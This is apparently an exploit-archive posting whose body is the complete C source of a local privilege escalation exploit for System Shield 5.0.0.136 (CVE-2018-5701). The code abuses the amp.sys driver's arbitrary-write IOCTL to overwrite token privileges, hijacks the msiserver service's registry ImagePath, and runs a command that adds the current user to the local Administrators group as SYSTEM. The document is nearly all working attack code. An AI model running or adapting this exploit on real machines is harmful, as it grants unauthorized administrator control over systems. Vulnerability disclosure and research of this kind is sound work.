System Shield 5.0.0.136 Privilege Escalation

System Shield version 5.0.0.136 suffers from a privilege escalation vulnerability.


MD5 | 4a8fd608e34422f5a3a92d606918f600

/*

Exploit Title - System Shield AntiVirus & AntiSpyware Arbitrary Write Privilege Escalation
Date - 29th January 2018
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - http://www.iolo.com/
Tested Version - 5.0.0.136
Driver Version - 5.4.11.1 - amp.sys
Tested on OS - 64bit Windows 7 and Windows 10 (1709)
CVE ID - CVE-2018-5701
Vendor fix url -
Fixed Version - 0day
Fixed driver ver - 0day


Check blogpost for details:

https://www.greyhathacker.net/?p=1006

*/


#include <stdio.h>
#include <windows.h>
#include <aclapi.h>

#pragma comment(lib,"advapi32.lib")

#define MSIEXECKEY "MACHINE\\SYSTEM\\CurrentControlSet\\services\\msiserver"

#define SystemHandleInformation 16
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)


typedef unsigned __int64 QWORD;


typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
QWORD Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;


typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;


typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);




QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID)
{
_NtQuerySystemInformation NtQuerySystemInformation;
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo;
ULONG i;
PSYSTEM_HANDLE pHandle;
QWORD TokenAddress = 0;
DWORD nSize = 4096;
DWORD nReturn;
BOOL tProcess;
HANDLE hToken;


if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE)
{
printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError());
return -1;
}

NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");

if (!NtQuerySystemInformation)
{
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
return -1;
}

do
{
nSize += 4096;
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize);
} while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH);

printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken);

for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
{

if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken)
{
TokenAddress = pSysHandleInfo->Handles[i].Object;
}
}

HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
return TokenAddress;
}



int TakeOwnership()
{
HANDLE token;
PTOKEN_USER user = NULL;
PACL pACL = NULL;
EXPLICIT_ACCESS ea;
DWORD dwLengthNeeded;



if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token))
{
printf("\n[-] OpenProcessToken failed %d\n\n", GetLastError());
ExitProcess(1);
}
printf("\n[+] OpenProcessToken successful");

if (!GetTokenInformation(token, TokenUser, NULL, 0, &dwLengthNeeded) && GetLastError() != ERROR_INSUFFICIENT_BUFFER)
{
printf("\n[-] Failed to initialize GetTokenInformation %d\n\n", GetLastError());
ExitProcess(1);
}

user = (PTOKEN_USER)LocalAlloc(0, dwLengthNeeded);

if (!GetTokenInformation(token, TokenUser, user, dwLengthNeeded, &dwLengthNeeded))
{
printf("\n[-] GetTokenInformation failed %d\n\n", GetLastError());
ExitProcess(1);
}

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));

// build DACL

ea.grfAccessPermissions = KEY_ALL_ACCESS;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = (LPTSTR)user->User.Sid;

if (SetEntriesInAcl(1, &ea, NULL, &pACL) != ERROR_SUCCESS)
{
printf("\n[-] SetEntriesInAcl failure\n\n");
ExitProcess(1);
}
printf("\n[+] SetEntriesInAcl successful");

// Take ownership

if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, user->User.Sid, NULL, NULL, NULL) != ERROR_SUCCESS)
{
printf("\n[-] Failed to obtain the object's ownership %d\n\n", GetLastError());
ExitProcess(1);
}
printf("\n[+] Ownership '%s' successful", MSIEXECKEY);

// Modify DACL

if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL) != ERROR_SUCCESS)
{
printf("\n[-] Failed to modify the object's DACL %d\n\n", GetLastError());
ExitProcess(1);
}
printf("\n[+] Object's DACL successfully modified");

LocalFree(pACL);
CloseHandle(token);

return 0;
}



int RestorePermissions()
{
PACL pOldDACL = NULL;
PSID pSIDAdmin = NULL;
SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;



printf("\n[*] Restoring all permissions and value");

// Restore registry value

WriteToRegistry("%systemroot%\\system32\\msiexec.exe /V");

// Sid for the BUILTIN\Administrators group

if (!AllocateAndInitializeSid(&SIDAuthNT, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pSIDAdmin))
{
printf("\nAllocateAndInitializeSid failed %d\n\n", GetLastError());
ExitProcess(1);
}

// Restore key ownership

if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, pSIDAdmin, NULL, NULL, NULL) != ERROR_SUCCESS)
{
printf("\n[-] Failed to restore the object's ownership %d\n\n", GetLastError());
ExitProcess(1);
}
printf("\n[+] Object's ownership successfully restored");

// Take copy of parent key

if (GetNamedSecurityInfo("MACHINE\\SYSTEM\\CurrentControlSet\\Services", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS)
{
printf("\n[-] Failed to copy parent key object's DACL %d\n\n", GetLastError());
ExitProcess(1);
}
printf("\n[+] Parent key object's DACL successfully saved");

// Restore key permissions

if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pOldDACL, NULL) != ERROR_SUCCESS)
{
printf("\n[-] Failed to restore the object's DACL %d\n\n", GetLastError());
ExitProcess(1);
}
printf("\n[+] Object's DACL successfully restored");

FreeSid(pSIDAdmin);

return 0;
}



int WriteToRegistry(char command[])
{
HKEY hkeyhandle;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\services\\msiserver", 0, KEY_WRITE, &hkeyhandle) != ERROR_SUCCESS)
{
printf("\n[-] Registry key failed to open %d\n\n", GetLastError());
ExitProcess(1);
}

if (RegSetValueEx(hkeyhandle, "ImagePath", 0, REG_EXPAND_SZ, (LPBYTE) command, strlen(command)) != ERROR_SUCCESS)
{
printf("\n[-] Registry value failed to write %d\n\n", GetLastError());
ExitProcess(1);
}

printf("\n[+] Registry key opened and value modified");

RegCloseKey(hkeyhandle);

return 0;
}



int TriggerCommand()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;


ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);

if (!CreateProcess(NULL, "c:\\windows\\system32\\msiexec.exe /i poc.msi /quiet", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
{
printf("\n[-] CreateProcess failed %d", GetLastError());
ExitProcess(1);
}
printf("\n[+] c:\\windows\\system32\\msiexec.exe launched");
printf("\n[i] Account should now be in the local administrators group");

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);

return 0;
}



int main(int argc, char *argv[])
{
QWORD TokenAddressTarget;
QWORD SepPrivilegesOffset = 0x40;
QWORD TokenAddress;
HANDLE hDevice;
char devhandle[MAX_PATH];
DWORD dwRetBytes = 0;
QWORD inbuffer1[3] = {0};
QWORD inbuffer2[3] = {0};
QWORD ptrbuffer[1] = {0}; // QWORD4 - Has to be 0 for arbitrary write value to be 0xfffffffe
DWORD currentusersize;
char currentuser[100];
char netcommand[MAX_PATH];



printf("-------------------------------------------------------------------------------\n");
printf(" System Shield AntiVirus & AntiSpyware (amp.sys) Arbitrary Write EoP Exploit \n");
printf(" Tested on 64bit Windows 7 / Windows 10 (1709) \n");
printf("-------------------------------------------------------------------------------\n");

TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId());
printf("\n[i] Address of current process token 0x%p", TokenAddress);

TokenAddressTarget = TokenAddress + SepPrivilegesOffset;
printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten", TokenAddressTarget);

inbuffer1[0] = 0x8; // QWORD1 - Cannot be more than 8. Also different values (<9) calculates to different sub calls
inbuffer1[1] = ptrbuffer; // QWORD2 - Address used for read and write
inbuffer1[2] = TokenAddressTarget+1; // QWORD3 - Arbitrary write address !!!

inbuffer2[0] = 0x8;
inbuffer2[1] = ptrbuffer;
inbuffer2[2] = TokenAddressTarget+9;

sprintf(devhandle, "\\\\.\\%s", "amp");

hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);

if(hDevice == INVALID_HANDLE_VALUE)
{
printf("\n[-] Open %s device failed\n\n", devhandle);
return -1;
}
else
{
printf("\n[+] Open %s device successful", devhandle);
}

printf("\n[~] Press any key to continue . . .\n");
getch();

DeviceIoControl(hDevice, 0x00226003, inbuffer1, sizeof(inbuffer1), NULL, 0, &dwRetBytes, NULL);
DeviceIoControl(hDevice, 0x00226003, inbuffer2, sizeof(inbuffer2), NULL, 0, &dwRetBytes, NULL);

printf("[+] Overwritten _SEP_TOKEN_PRIVILEGES bits\n");
CloseHandle(hDevice);

currentusersize = sizeof(currentuser);

if (!GetUserName(currentuser, &currentusersize))
{
printf("\n[-] Failed to obtain current username: %d\n\n", GetLastError());
return -1;
}

printf("[*] Adding current user '%s' account to the local administrators group", currentuser);

sprintf(netcommand, "net localgroup Administrators %s /add", currentuser);

TakeOwnership();
WriteToRegistry(netcommand);
TriggerCommand();
Sleep(1000);
RestorePermissions();
printf("\n\n");

return 0;
}



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